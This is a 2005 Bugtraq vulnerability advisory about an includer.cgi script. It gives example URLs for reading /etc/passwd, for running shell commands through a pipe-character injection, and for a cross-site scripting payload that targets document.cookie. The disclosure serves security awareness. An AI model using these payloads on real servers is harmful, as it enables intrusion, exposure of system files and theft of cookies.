[38571] in bugtraq
remote command execution in includer.cgi script
daemon@ATHENA.MIT.EDU (fireboy fireboy)
Mon Apr 25 15:00:42 2005
Date: 24 Apr 2005 21:13:08 -0000
Message-ID: <20050424211308.30537.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: fireboy fireboy <fireboynet@webmails.com>
To: bugtraq@securityfocus.com
Tunis 24/04/2005
BUG found by fireboy
fireboy@webmails.com
THERE ARE SOME BUGS IN includer.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.
IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE
1)file showing
http://www.target.com/cgi-bin/includer.cgi?/etc/passwd
2)remote code execution
http://www.target.com/cgi-bin/includer.cgi?|command
3)CSS
www.target.com/cgi-bin/includer.cgi?<script>alert(document.cookie)</script>
ex:
http://www.target.com/cgi-bin/includer.cgi?|ls;uname -a;
greetz to all magattack memebers www.magattack.tk
